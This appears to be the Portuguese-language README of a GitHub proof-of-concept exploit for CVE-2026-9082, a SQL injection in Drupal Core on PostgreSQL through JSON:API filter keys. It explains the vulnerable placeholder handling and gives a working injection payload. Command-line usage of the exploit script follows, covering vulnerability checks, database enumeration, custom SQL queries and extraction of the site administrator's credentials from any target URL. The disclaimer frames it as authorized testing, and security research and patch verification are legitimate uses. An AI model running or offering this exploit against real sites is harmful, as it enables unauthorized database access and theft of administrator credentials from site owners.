
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PoC ético para a vulnerabilidade do Drupal que permite injeção SQL anônima através do módulo JSON:API em sites com PostgreSQL.
Este repositório fornece uma Prova de Conceito (PoC) ética para CVE-2026-9082, uma vulnerabilidade de injeção SQL Altamente Crítica no Drupal Core que afeta todos os sites com backend PostgreSQL rodando Drupal 8.0 até 11.3.9.
A falha reside no manipulador de Condição de Consulta de Entidade do PostgreSQL e pode ser explorada por usuários anônimos (não autenticados) através do módulo JSON:API, que está habilitado por padrão desde o Drupal 9.
Aviso oficial: SA-CORE-2026-004
O Drupal Core inclui uma API de abstração de banco de dados projetada para
higienizar consultas e prevenir injeção SQL. Uma falha na classe de Condição
de Consulta de Entidade específica do PostgreSQL
(core/modules/pgsql/src/EntityQuery/Condition.php)
permite que um atacante injete SQL arbitrário através de chaves de
array controladas pelo usuário passadas via parâmetros de filtro
JSON:API.
translateCondition() na classe de Condição do PostgreSQL
itera sobre $condition['value'] e usa as
chaves do array para construir nomes de placeholders PDO:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_]. Quando a chave contém ), o PDO
para de analisar o nome do placeholder — tudo depois se torna
SQL literal injetado na consulta.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--,
o atacante fecha a cláusula IN() e anexa SQL arbitrário,
enquanto a ligação para :prefix_1 é satisfeita por uma chave
legítima 1 na mesma requisição.
Esta ferramenta é destinada apenas para testes de segurança autorizados, fins educacionais e pesquisa ética. O acesso não autorizado a sistemas de computador é ilegal.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py